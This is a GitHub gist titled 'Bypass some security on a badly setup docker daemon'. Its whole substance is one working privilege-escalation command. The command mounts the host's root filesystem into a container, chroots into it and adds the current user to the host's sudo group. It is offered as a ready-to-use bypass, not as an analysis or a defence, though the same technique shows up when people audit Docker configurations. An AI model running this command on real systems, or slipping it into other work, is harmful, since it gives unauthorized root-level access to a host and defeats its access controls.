Skip to content

Instantly share code, notes, and snippets.

@fredead
Last active February 15, 2016 14:11
Show Gist options
  • Save fredead/ae6f18a42809612e8ee4 to your computer and use it in GitHub Desktop.
Save fredead/ae6f18a42809612e8ee4 to your computer and use it in GitHub Desktop.
Bypass some security on a badly setup docker daemon
# Add your self to the local sudo group when docker daemon is running as root
docker run -v /:/mnt -i -t centos chroot /mnt usermod -a -G sudo ${USER}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment